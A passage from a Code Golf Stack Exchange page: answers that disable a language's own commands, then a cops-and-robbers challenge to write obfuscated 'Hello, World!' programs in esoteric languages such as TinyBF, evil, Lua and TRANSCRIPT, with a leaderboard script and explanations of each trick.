right, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st right, 1st left, 3rd left, 2nd left, 3rd left, 2nd right, 1st right, 2nd right, 1st right, 1st left, 1st left, 1st left, 1st right. ``` [Answer] ## Tcl ``` foreach x [info commands] {if {$x!="rename"&&$x!="if"} {rename $x ""}} ``` This removes all keywords from the language except `if` and `rename`. The above code would cause any new code to error out. So it's debatable if the new inserted code actually gets "executed". Below is a version that executes new code but does nothing because it changes all keywords (except `if` and `proc`) to a no-operation: ``` foreach x [info commands] {if {$x!="if"&&$x!="proc"} { proc $x args {} }} ``` Instead of deleting keywords this code replaces them with a function that does nothing. (Note: I'm using "keywords" very loosely here because Tcl doesn't have keywords, only functions) [Answer] # [Factor](https://factorcode.org/) ``` UNUSE: syntax ``` [Try it online!](https://tio.run/##S0tMLskv@v8/1C802NVKobgyrySx4v9/AA "Factor – Try It Online") It's not a joke, you can really unload the "built-in" syntax elements. And then you cannot write anything useful: you can't load any library, you can't define a named function or a lambda, you can't take input from stdin (or anything) or print to stdout (or anything). The engine still tries to parse the source code; it just fails because it forgot everything it needs to know. There is still one thing that works: pushing number literals (which seems to be built into the engine itself). But you can't do any arithmetic or interesting stuff with them. [Answer] # [Zsh](https://www.zsh.org/), 6 bytes ``` set -n ``` [Try it online!](https://tio.run/##qyrO@P@/OLVEQTfv/38A "Zsh – Try It Online") zsh has an option `no_exec` or `-n` which permanently disables all commands. I have absolutely no idea why. [Answer] # JavaScript in browser Well, at least in IE11. ``` window.addEventListener("error", function(){}); document = document.write = alert = prompt = confirm = console = void( (function (window) { try { //Code goes here } catch (e) {} })({}) ); ``` Disables writing to the document, writing to the global variable and returning from the function. Comment if I've missed out an output method! ]
[Question] [ > > **Congratulations to [Dennis](https://codegolf.stackexchange.com/a/55408/8478) who won both the cops' and the robbers' challenge!** Calvin's Hobbies has already delivered on his promise [and wrote this challenge](https://codegolf.stackexchange.com/q/57719/8478) for Dennis for winning the robbers' challenge. > > > > > **Notice:** This challenge is closed for further cop answers as of 2015-09-01 02:00:00 UTC. Any new answers posted will not be eligible for winning and will not count towards the robbers' scores if cracked. However, you may still post new answers for the other users' enjoyment, so that there are still some puzzles available for future visitors. These new answers are included in the "Vulnerable Cops" section of the leaderboard and their non-competing status is marked separately. > > > Welcome to the Cops-and-Robbers edition of [The Hello World Quiz](http://helloworldquiz.com/)! (If you've never played the quiz, feel free to try it out for a minute or 30. You don't need to have played it for this challenge though.) ## The Cops' Challenge 1. **Choose a programming language.** Valid languages must have either [an English Wikipedia article](https://en.wikipedia.org/wiki/Lists_of_programming_languages), [an esolangs article](http://esolangs.org/wiki/Language_list) or [a Rosetta Code article](http://rosettacode.org/wiki/Category:Programming_Languages) at the time this challenge was posted (note that the linked lists are not necessarily complete because they are curated manually). They must also satisfy [our usual standards for programming languages](http://meta.codegolf.stackexchange.com/a/2073/8478), so things like HQ9+ are out. Lastly, there must be a free (as in beer) interpreter or compiler available for the language (at the time this challenge was posted). 2. **Write a Hello World program.** That is, write a full program in the chosen language which prints `Hello, World!` (exactly like that, i.e. this exact byte stream) and optionally a single trailing newline to STDOUT or closest alternative. You must not assume a REPL environment, existing boilerplate code, or non-standard compiler/interpreter flags. The program must be in the form of one or more source files (to rule out quirky languages like [Folders](http://esolangs.org/wiki/Folders)) and must fit into your answer in full (so it must not be longer than 30,000 characters) - this shouldn't be an issue for any serious submission. If your code contains bytes outside the printable ASCII range, please include a pastebin or hex dump to make sure your code is actually testable. The program must terminate within 1 minute on a typical desktop PC. That's it. The catch is that you want to obfuscate your code such that it's not obvious which language you picked. Also note that you don't want your code to accidentally be a valid Hello World program in any other language, although I expect that to be unlikely for sufficiently obfuscated programs. You must not under any circumstances edit the source code of your submission once posted (as this may invalidate a robbers' active attempts at cracking your answer). So make sure that you golf it as well as you can (or dare) before posting. If you realise that your answer does not work after posting it, simply delete your answer and post a fixed version if you want to. If no one finds a language your code is valid in for 7 days, you may reveal the chosen language (ideally with an explanation for your obfuscated code), which will make your answer *safe*. Note that your submission can still be cracked until you reveal the language. The shortest safe submission (in bytes) wins. ### Formatting *(Feel free to skip this section and read The Robbers' Challenge if you're not planning to participate as a cop right now.)* At the bottom of this post, you'll find a Stack Snippet which generates leaderboards as well as a list of submissions which can still be cracked. For the snippet to work, it is important that you include a certain header in your answer: * New answers should include a header like ``` # ???, [N] bytes ``` where `[N]` is the size of your code in bytes and `???` should appear literally. * If the answer is not cracked for 7 days and you want to make your answer safe by revealing the language, simply replace the `???`, e.g. ``` # Ruby, [N] bytes ``` Feel free to have the language name link to a relevant website like an esolangs page or a GitHub repository. The link will then be displayed in the leaderboard. * If another user successfully cracked your submission (see below), please also add the language, along with a notice like ``` # Ruby, [N] bytes, cracked by [user] ``` where `[user]` is the name of the user who submitted the first valid crack. If the language used in the crack is different from the one you intended, I'd recommend using the robbers' guess and mentioning in the answer that you intended it to be something else. Feel free to make the user name a link to their profile page. ## The Robbers' Challenge 1. **Find a vulnerable answer.** That is an answer, which hasn't been cracked yet and which isn't *safe* yet. 2. **Crack it by figuring out its language.** That is, find *any* language in which the given program is a valid Hello World program (subject to the rules outlined in The Cops' Challenge above). It doesn't matter if this is the language the cop intended. If you've found such a language, leave a comment with the language's name. If possible, you should include a link to an online interpreter, showing that the code actually works in that language as required. Every user only gets one guess per answer. You must not crack your own answer (obviously...). The user who cracked the largest number of answers wins the robbers' challenge. Ties are broken by the sum of bytes of cracked answers (more is better). Because the robbers' challenge is held exclusively in comments, there won't be any reputation incentive for the robbers. However, **the Grand Master of Challenge Writing, [Calvin's Hobbies](https://codegolf.stackexchange.com/users/26997/calvins-hobbies), has kindly offered to write a challenge about the user who wins the robbers' challenge!** ## Challenge Dashboard The Stack Snippet below generates leaderboards for the cops and robbers and will also list all answers which can still be cracked. Let me know if anything appears not to be working properly, and I'll try to fix it as soon as possible. If you can think of additional features which would make the dashboard more useful, leave a comment as well. ``` /* Configuration */ var QUESTION_ID = 54807; // Obtain this from the url // It will be like http://XYZ.stackexchange.com/questions/QUESTION_ID/... on any question page var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var DAYS_TILL_SAFE = 7; var OVERRIDE_USER = 8478; var CUTOFF_DATE = new Date(Date.UTC(2015, 8, 1, 2)); var MS_TILL_SAFE = DAYS_TILL_SAFE * 24 * 60 * 60 * 1000; /* App */ var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page; function answersUrl(index) { // Must load over https (this comment is because I need to change 6+ chars) return "https://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER; } function commentUrl(index, answers) { return "https://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER; } function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { data.items.forEach(function(c) { if (c.owner.user_id === OVERRIDE_USER) answers_hash[c.post_id].comments.push(c); }); if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); } getAnswers(); var VULNERABLE_REG = /<h\d>[?]{3},[^\n\d,]*(\d+)[^\n,]*<\/h\d>/; var SAFE_REG = /<h\d>\s*([^\n,]*[^\s,]),[^\n\d,]*(\d+)[^\n,]*<\/h\d>/; var CRACKED_REG = /<h\d>\s*([^\n,]*[^\s,]),[^\n\d,]*(\d+)[^\n,]*,\s*cracked\s*by\s*(.*[^\s<])<\/h\d>/i; var OVERRIDE_REG = /^Override\s*header:\s*/i; function getAuthorName(a) { return a.owner.display_name; } function process() { console.log(answers); var vulnerable = []; var cops = []; var robbers_hash = {}; var now = Date.now(); answers.forEach(function (a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>'; }); var match; if (VULNERABLE_REG.test(body)) { vulnerable.push({ user: getAuthorName(a), size: +body.match(VULNERABLE_REG)[1], time_left: (a.creation_date*1000 > CUTOFF_DATE) ? Infinity : MS_TILL_SAFE - (now - a.creation_date*1000), link: a.share_link, }); } else if (SAFE_REG.test(body)) { if (a.creation_date*1000 < CUTOFF_DATE) { match = body.match(SAFE_REG); cops.push({ user: getAuthorName(a), size: +match[2], language: match[1], link: a.share_link, }); } } else if (CRACKED_REG.test(body)) { if (a.creation_date*1000 < CUTOFF_DATE) { match = body.match(CRACKED_REG); var language = match[1]; var size = +match[2]; var user = match[3]; if (/<a/.test(user)) user = jQuery(user).text(); var robber = robbers_hash[user] || { user: user, cracks: 0, total_size: 0, languages: [], }; ++robber.cracks; robber.total_size += size; robber.languages.push({ language: language, link: a.share_link, }); robbers_hash[user] = robber; } } }) console.log(vulnerable); console.log(cops); console.log(robbers_hash); vulnerable.sort(function (a, b) { var aB = a.time_left, bB = b.time_left; return aB - bB }); vulnerable.forEach(function (a) { var answer = jQuery("#vulnerable-template").html(); var time = a.time_left; var time_string = ""; if (time == Infinity) time_string = "Answer is not competing"; else if (time > 0) { time_string += ((time / (1000 * 60 * 60 * 24))|0) + "d "; time %= 1000 * 60 * 60 * 24; time_string += ((time / (1000 * 60 * 60))|0) + "h "; time %= 1000 * 60 * 60; time_string += ((time / (1000 * 60))|0) + "m "; time %= 1000 * 60; time_string += ((time / (1000))|0) + "s"; } else time_string = "Cop may reveal language!"; answer = answer.replace("{{NAME}}", a.user) .replace("{{SIZE}}", a.size) .replace("{{TIME}}", time_string) .replace("{{TIME}}", a.time_left) .replace("{{HUE}}", a.time_left <= 0 ? 0 : a.time_left == Infinity ? 160 : a.time_left/MS_TILL_SAFE*80+40) .replace("{{LINK}}", a.link); answer = jQuery(answer) jQuery("#vulnerable").append(answer); }); cops.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var place = 1; var lastSize = null; var lastPlace = 1; cops.forEach(function (a) { var answer = jQuery("#cops-template").html(); var size = a.size; if (size != lastSize) lastPlace = place; lastSize = size; ++place; answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{LANGUAGE}}", a.language) .replace("{{SIZE}}", a.size) .replace("{{LINK}}", a.link); answer = jQuery(answer) jQuery("#cops").append(answer); }); var robbers = []; for (var r in robbers_hash) if (robbers_hash.hasOwnProperty(r)) robbers.push(robbers_hash[r]); robbers.sort(function (a, b) { var aB = a.cracks, bB = b.cracks, aC = a.total_size, bC = b.total_size; return (bB - aB) || (bC - aC); }); place = 1; var lastCracks = null; lastSize = null; lastPlace = 1; robbers.forEach(function (a) { var answer = jQuery("#robbers-template").html(); var cracks = a.cracks; var size = a.total_size; if (size != lastSize || cracks != lastCracks) lastPlace = place; lastSize = size; lastCracks = cracks; ++place; var languages = ""; var first = true; a.languages.forEach(function (l) { if (!first) { languages += ", "; } first = false; var lang = l.language; if (/<a/.test(lang)) lang = jQuery(l.language).text(); languages += '<a href="' + l.link + '">' + lang + '</a>'; }); answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{CRACKS}}", a.cracks) .replace("{{TOTAL_SIZE}}", a.total_size) .replace("{{LANGUAGES}}", languages); answer = jQuery(answer) jQuery("#robbers").append(answer); }); } ``` ``` body { text-align: left !important} #vulnerable-cops { padding: 10px; width: 600px; } #cops-leaderboard { padding: 10px; width: 600px; } #robbers-leaderboard { padding: 10px; width: 600px; } table thead { font-weight: bold; } table td { padding: 5px; } .time-ms { display: none; } ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="vulnerable-cops"> <h2>Vulnerable Cops</h2> <table class="vulnerable-cops"> <thead> <tr><td>User</td><td>Size</td><td>Time Left</td></tr> </thead> <tbody id="vulnerable"> </tbody> </table> </div> <div id="cops-leaderboard"> <h2>Leaderboard of Safe Cops</h2> <table class="cops-leaderboard"> <thead> <tr><td></td><td>User</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="cops"> </tbody> </table> </div> <div id="robbers-leaderboard"> <h2>Leaderboard of Robbers</h2> <table class="robbers-leaderboard"> <thead> <tr><td></td><td>User</td><td>Cracks</td><td>Total Size</td><td>Languages (link to answers)</td></tr> </thead> <tbody id="robbers"> </tbody> </table> </div> <table style="display: none"> <tbody id="vulnerable-template"> <tr><td>{{NAME}}</td><td>{{SIZE}}</td><td style="background-color: hsl({{HUE}},100%,50%);">{{TIME}}</td><td><a href="{{LINK}}">Link</a></td><td class="time-ms">{{TIME_MS}}</td></tr> </tbody> </table> <table style="display: none"> <tbody id="cops-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="robbers-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{CRACKS}}</td><td>{{TOTAL_SIZE}}</td><td>{{LANGUAGES}}</td></tr> </tbody> </table> ``` [Answer] # [TinyBF](https://esolangs.org/wiki/TinyBF), 708 bytes, cracked by kirbyfan64sos This was crazy fun. Everyone knows that I can only write one language ;) ``` I,c,o,d,e,C;i;main(){i++;for(i++;i^9;i++)putchar(((i+69)*!(i+2*~0)|(9!=9+(I=((i-1)>>(i+2*~0))+~(!(i+2*~0)+~0)))*111|115*(6>i+1)*(i>3)+~(i>(10+(9>i)+~i+(i>9)))+(5<i)+(i<5)+1|(c=(i>6))|(o=(i>=7+!i))|(d=(i>>1>3)*(i*((i+~0>5)<<2)+(i>~2+i)))|(e=(i-~0>(i|5)&&32>>i)*99)|(C=(i>>(i>>2+i/7)>0)*(i+(i<<1)+(i<<2)+(i<<3)+(i<<4)>=(i!=6)*(5>=i)*(i+(i<<5)))*(i+(i*i)+62)*((i==6)!=!i)))+(i*i+(i<<1)+(31+i^i)+(i+i)*~0+2*i)*(1==(i==7)));I|=(c+=(o>d)),2*(c+C>o+d);e^=(d>>c)|4;I-=(e>C)+(I+c+(o==C)-~7*(C<=I)>>(C>=o));C=(e>>2)^(I-~o==c),o=255>>((int)1e7*(c-~1)>>(C+e+d+o+I)),i|=i+(e>=d)+(2<<I)+(3<<c);putchar(!(I+d+c>=(C|e))?(I>o)+(d=(20*(I==c))>>(1==~I+d+e+(C==(1>=(I==C))))):(I+o+C)*((C+e)/5+C+I+20+I+I==1>>(o>>(d>=(C!=I)))));} ``` ## Explanation First of all, this took many many hours to make, so I'm overwhelmingly delighted by all the positive reactions and attempts to crack it! As noted in the comments, when compiled in C, the code prints `Gotcha!` followed by a newline, but when [TinyBF](https://esolangs.org/wiki/TinyBF) it prints the desired `Hello, World!`. TinyBF is a simple derivative of [Brainf\*\*k](https://esolangs.org/wiki/Brainfuck) that replaces its 8 commands with just 4: `+ > | =`. Since all other characters are ignored, I could happily write a C program with many many unnecessary operators to try to lead people in the wrong direction (which, to my surprise, worked fairly well). Here is the pure TinyBF code: ``` ++++++++|=+=>>++++|>+>+>+>++>+++|=>|=>=+|=>>>+>+>+|=>|>>|=>>>>+>++++>==>=+++===+++++++====|=+=>+>+=>>|=>+++===>>>==>>===>>>>++++|=+>=++++>=|>+===>>==+++==>===++++++++==>>>>>== ``` Here is the same program, written in ordinary BF: ``` ++++++++[->>++++[>+>+>+>++>+++[<]>-]>>>+>+>+[<]<<]>>>>+>++++>.>---.+++++++..[->+>+<<]>+++.<<<.<<.>>>>++++[-<++++>]<-.>>.+++.>.--------.<<<<<. ``` You can use [this interpreter](http://bataais.com/tinyBF.html) to convert from BF to TinyBF, and to run the code. [Answer] ## [evil](http://esolangs.org/wiki/Evil), 658 bytes, cracked by Sp3000 ``` #!/sbin/fortran Hello, World = 'SCBsIG8gICBvIGwgIQogZSBsICwgVyByIGQKYm9zcnJ1a3R2cG54cHN2eGJ5eWJkeG9iaHJ0eHV0SGF0eXJhcGF4eW5wYWFuenhkdnBidnZuYWRhcXZoZGFhcEVxcnZkcWF1YXh0ZW5ncXJ4ZXF2d2ZndWRueXZweWR1d0x2eHhydHZidW55ZHJucW5ocGhidG5neWR3eHd0c3V3d0x2c3d0cHVueHVwdHJwaWhhaG16ZXNiaXdweWdnanVocU9saHV3eWVwaGNyeW1naHBhaW5wZGRnZWJuZ2Z1eGRwZnV3eXNienJ2enh0YnRyaXZ6ZW54eWR3eGhodHh2YVd0eXF6dnVwZWdndnVnY3d0c2NhZWRnaWRyaXJ1aHV0d09tZGRwdHJueXVneG5iYXBueG96d2FweGR3enRna21wZ1Jjc29oeHVoZ3Z4Y3V3eXV5end2cXZ1ZG52ZWJudW16d0x2YWZoeXR2ZW91YXdoYW90YXN0ZWNuY3V2cG5odXVwZ0RiY2d2ZW15cnV0ZG9id3J5dWFyYXN3Z3hhdHdkZnJkYnN3cXJ4dWJzYXf='.decode('base64').rsplit(' ', 1) print Hello, World ``` --- [evil](http://esolangs.org/wiki/Evil) is an old esolang a bit like BF. The [commands](http://web.archive.org/web/20061128232206/www1.pacific.edu/~twrensch/evil/evilspec.html) are all lowercase letters, and other characters are just ignored. First, I generated a short hello world program in evil using Python: ``` aeeeaeeewueuueweeueeuewwaaaweaaewaeaawueweeeaeeewaaawueeueweeaweeeueuw ``` Then, again using Python, I transformed it into a base64 string: ``` Ym9zcnJ1a3R2cG54cHN2eGJ5eWJkeG9iaHJ0eHV0eXJhcGF4eW5wYWFuenhkdnBidnZuYWRhcXZoZGFhcnZkcWF1YXh0ZW5ncXJ4ZXF2d2ZndWRueXZweWR1eHhydHZidW55ZHJucW5ocGhidG5neWR3eHd0c3V3c3d0cHVueHVwdHJwaWhhaG16ZXNiaXdweWdnanVoaHV3eWVwaGNyeW1naHBhaW5wZGRnZWJuZ2Z1eGRwZnV3eXNienJ2enh0YnRyaXZ6ZW54eWR3eGhodHh2eXF6dnVwZWdndnVnY3d0c2NhZWRnaWRyaXJ1aHV0ZGRwdHJueXVneG5iYXBueG96d2FweGR3enRna21wc29oeHVoZ3Z4Y3V3eXV5end2cXZ1ZG52ZWJudW16YWZoeXR2ZW91YXdoYW90YXN0ZWNuY3V2cG5odXVwY2d2ZW15cnV0ZG9id3J5dWFyYXN3Z3hhdHdkZnJkYnN3cXJ4dWJzYXf= ``` That decodes into purely lowercase letters: ``` bosrruktvpnxpsvxbyybdxobhrtxutyrapaxynpaanzxdvpbvvnadaqvhdaarvdqauaxtengqrxeqvwfgudnyvpyduxxrtvbunydrnqnhphbtngydwxwtsuwswtpunxuptrpihahmzesbiwpyggjuhhuwyephcrymghpainpddgebngfuxdpfuwysbzrvzxtbtrivzenxydwxhhtxvyqzvupeggvugcwtscaedgidriruhutddptrnyugxnbapnxozwapxdwztgkmpsohxuhgvxcuwyuyzwvqvudnvebnumzafhytveouawhaotastecncuvpnhuupcgvemyrutdobwryuaraswgxatwdfrdbswqrxubsaw ``` I added a few other things to the base64 string, then wrote it out as the Python program above. The shebang is actually important in the program. The `s` before the `b` in `sbin` will skip the `b` command. Then the `f` in `fortran` will scan forward until the next `m` character, which is in the base64 string. [Answer] ## Lua, ~~2920~~ 2865 Bytes, cracked by jimmy23013 I only learned this language yesterday so forgive any syntax errors. ``` --[[~The infamous Hello World program~]] p=[[ Romeo, a young man with a remarkable patience. Juliet, a likewise young woman of remarkable grace. Ophelia, a remarkable woman much in dispute with Hamlet. Hamlet, the flatterer of Andersen Insulting A/S. Act I: Hamlets insults and flattery. Scene I: The insulting of Romeo. [Enter Hamlet and Romeo] Hamlet: You lying stupid fatherless big smelly half-witted coward! You are as stupid as the difference between a handsome rich brave hero and thyself! Speak your mind! You are as brave as the sum of your fat little stuffed misused dusty old rotten codpiece and a beautiful fair warm peaceful sunny summer's day. You are as healthy as the difference between the sum of the sweetest reddest rose and my father and yourself! Speak your mind! You are as cowardly as the sum of yourself and the difference between a big mighty proud kingdom and a horse. Speak your mind. Speak your mind! [Exit Romeo] Scene II: The praising of Juliet. [Enter Juliet] Hamlet: Thou art as sweet as the sum of the sum of Romeo and his horse and his black cat! Speak thy mind! [Exit Juliet] Scene III: The praising of Ophelia. [Enter Ophelia] Hamlet: Thou art as lovely as the product of a large rural town and my amazing bottomless embroidered purse. Speak thy mind! Thou art as loving as the product of the bluest clearest sweetest sky and the sum of a squirrel and a white horse. Thou art as beautiful as the difference between Juliet and thyself. Speak thy mind! Let them]] print -- (She pauses) -- it in the streets! --[[Romeo is sobbing, disgusted at his life)-- Thou art as pungent as the stench of a goat. Speak thy mind! [[Exeunt Romeo]] "Hello, World!" -- No response. "Hello!" He calls out again, but to no avail. [[Exeunt Ophelia and Hamlet Act II: Behind Hamlet's back. Scene I: Romeo and Juliet's conversation. [Enter Romeo and Juliet] Romeo: Speak your mind. You are as worried as the sum of yourself and the difference between my small smooth hamster and my nose. Speak your mind! Juliet: Speak YOUR mind! You are as bad as Hamlet! You are as small as the difference between the square of the difference between my little pony and your big hairy hound and the cube of your sorry little codpiece. Speak your mind! [[Exit Romeo] [[ Scene II: Juliet and Ophelia's conversation. [Enter Ophelia] Juliet: Thou art as good as the quotient between Romeo and the sum of a small furry animal and a leech. Speak your mind! Ophelia: Thou art as disgusting as the quotient between Romeo and twice the difference between a mistletoe and an oozing infected blister! Speak your mind! [Exeunt]] ``` Warning: It prints "Hello, World!" and then exits with an error ## Explanation: In Lua, --[[ means multiline comment, -- means one line comment, and [[ is multiline string. If you scroll all the way to the side on the first line you see a very suspicious p=[[. This is defining a multi line string that goes from "Romeo, a young man" all the way down to "Let them]]", which most people glance over but is actually ending the multiline string. Then we have print, which is the print function, and then "--" makes the rest of the line a comment. We need to put some space between the print and the Hello World so we don't give it away, so we have a multiline comment: "--[[Romeo is sobbing, disgusted at his life)-- Thou art as pungent as the stench of a goat. Speak thy mind! [[Exeunt Romeo]]" The ]] at the end ends the multiline comment, and on the line after it is "Hello, World!" and then the rest of the line is commented out by a --. Removing all the comments from that area it becomes: ``` Thou art as loving as the product of the bluest clearest sweetest sky and the sum of a squirrel and a white horse. Thou art as beautiful as the difference between Juliet and thyself. Speak thy mind! Let them]] print "Hello, world!" ``` [Answer] # [TRANSCRIPT](https://esolangs.org/wiki/TRANSCRIPT), 39 bytes ``` End is here. >End, Hello, World! >X End ``` Here's a nice and simple one. --- First safe cop! I'm surprised this one lasted until the end — I tried to pick a language that would be hard to look up directly, but would be easier to crack if you could guess the theme. TRANSCRIPT is an esolang based on interactive fiction games. It has NPCs (strings) and objects (integers). Here `End` is the name of an NPC. The first line declares the NPC with the syntax `<name> is here.`. The second line then assigns the NPC the string `"Hello, World!"`, and the third line prints the string using the `X / EXAMINE`command. There's not much room for obfuscation here, so all I did was pick something that's not usually a name for the NPC. To prove that TRANSCRIPT is a valid language for this challenge, here's a program which checks whether an input natural number is prime or not: ``` The Nineteenth Room In the middle of the room you spot a lone figure. Martin is here. You can see a ladder, a lamp, a rope, a knife, a program, a laptop, an interpreter, and an esolang here. >RESTORE Which save file would you like to restore? >PROGRAM.sav Done. >SET LAMP TO 1 You turn on the lamp. >LIFT KNIFE You pick up the knife, feeling powerful. >LIFT KNIFE The knife is already in hand, but you decide to lift it up higher. You know knives aren't dumbbells, right? >TELL MARTIN ABOUT LAMP Martin is surprised that you managed to turn on the lamp without needing "HELP". >HELP Too bad, no hints for you. >SHOW KNIFE TO MARTIN You pull out the knife. Martin picks up his phone and starts calling for the police. You quickly realise your mistake and apologise profusely. Good job. >ASK MARTIN ABOUT PROGRAM You show Martin a piece of paper which, supposedly, has a computer program on it. The program appears to be written in a strange and foreign language. Martin points to the laptop sitting in the corner, currently blocked by a ladder. >LIFT LADDER You move the ladder slightly out of the way. >SHOW PROGRAM TO MARTIN Martin doesn't respond. He's too busy trying to golf esolang quines. >PUT PROGRAM IN LAPTOP You try to enter the program into the laptop, but your efforts are futile. The laptop is off. >DROP LAPTOP You drop the laptop to the ground, somehow turning it on in the process. Just kidding, it's still off. The screen has an extra crack now though. >ATTACH KNIFE TO LAPTOP You stick the knife in one of the laptop's USB ports. The laptop turns on. >SET ROPE TO 0 You grab both ends of the rope and tie a knot, forming a loop. >PUT PROGRAM IN ROPE This program doesn't look like it's designed to run in a multi-threaded environment. >CUT ROPE WITH KNIFE The knife is powering the laptop. >HIT ROPE WITH KNIFE The knife is still (somehow) powering the laptop. >SET INTERPRETER TO 0 You boot up the interpreter, playing around with a few flags. >PUT PROGRAM IN INTERPRETER You enter the program into the interpreter. >TAKE ROPE OUT OF INTERPRETER The language interpreted by the interpreter appears to be using immutable strings. >TELL MARTIN ABOUT ESOLANG The esolang you see in the laptop appears to involve a lot of nonsense. >SHOW INTERPRETER TO MARTIN You show Martin the output of the program. It says: "Hello, World!" >ASK MARTIN ABOUT ESOLANG Martin says he hasn't seen this esolang before, but it looks funky. You get so excited about this new esolang that you knock over the ladder. >LIFT LADDER You pick the ladder up and move it a bit further away. >SHOW ESOLANG TO MARTIN Martin tries to study the language. >DETACH KNIFE FROM LAPTOP You pull the knife out from the laptop. The laptop turns off. >TELL MARTIN ABOUT ESOLANG Martin wonders why the language doesn't have more constructs. If it did, it might be possible to write programs that actually make sense. >SHOW LADDER TO MARTIN Martin argues that it's actually a stepladder. >ASK MARTIN ABOUT ESOLANG Martin thinks that Prelude and Fission are much more awesome languages. >MARTIN, Your number was prime. Martin raises an eyebrow, wondering what you're on about. >SHOW ESOLANG TO MARTIN Martin shows *you* Prelude. It is indeed more awesome. >TELL MARTIN ABOUT LAMP Martin already knows about the lamp, remember? >SHOW LADDER TO MARTIN It's a stepladder. >ASK MARTIN ABOUT ESOLANG Martin thinks the esolang could have been designed better. It's fun to write, though. >MARTIN, Your number was not prime. You say this to Martin, but the message isn't intended for Martin. Martin seems to realise. >SHOW ESOLANG TO MARTIN The esolang seems to be called "TRANSCRIPT". >EXAMINE MARTIN It's rude to stare at people like that. >EXIT Thank goodness this charade is over. ``` --- As a side note, I've actually been nervous since @aditsu's guess, which was *very* close. [Inform 7](https://en.wikipedia.org/wiki/Inform) is a language for *creating* interactive fiction games, which I didn't even know existed. As a tribute to aditsu's attempt, I gave Inform 7 a try: ``` "aditsu's close guess" by Sp3000 The Nineteenth Byte is a room. "abandon all work, ye who enter here —aditsu" The laptop is a device in the Nineteenth Byte. A llama is here. Carry out switching on the laptop: say "Hello, World!" ``` And here's a sample run: [![enter image description here](https://i.stack.imgur.com/sNOMy.png)](https://i.stack.imgur.com/sNOMy.png) [Answer] # [Headsecks](http://esolangs.org/wiki/Headsecks), 637 bytes, cracked by Dennis ``` ( say `first hello by sp3000` ) ( harp hahs ( pink shark ) ( is `chars` ) ( hash `chars` ) ( harks `snap exit crew` ) ) ( hiss ( chain crude typo ) ( hi scrap ) ( brrr yaws ) ( skips ads ) ( ship arks ) ( raps paths ) ( abs six ) ( that happy tax ) ) ) ( hairspray aspirin ( fix nappies world ) ( herrings are red ) ( which sappy dry shirts irk ) ( chaps pass crane exam ) ( puts 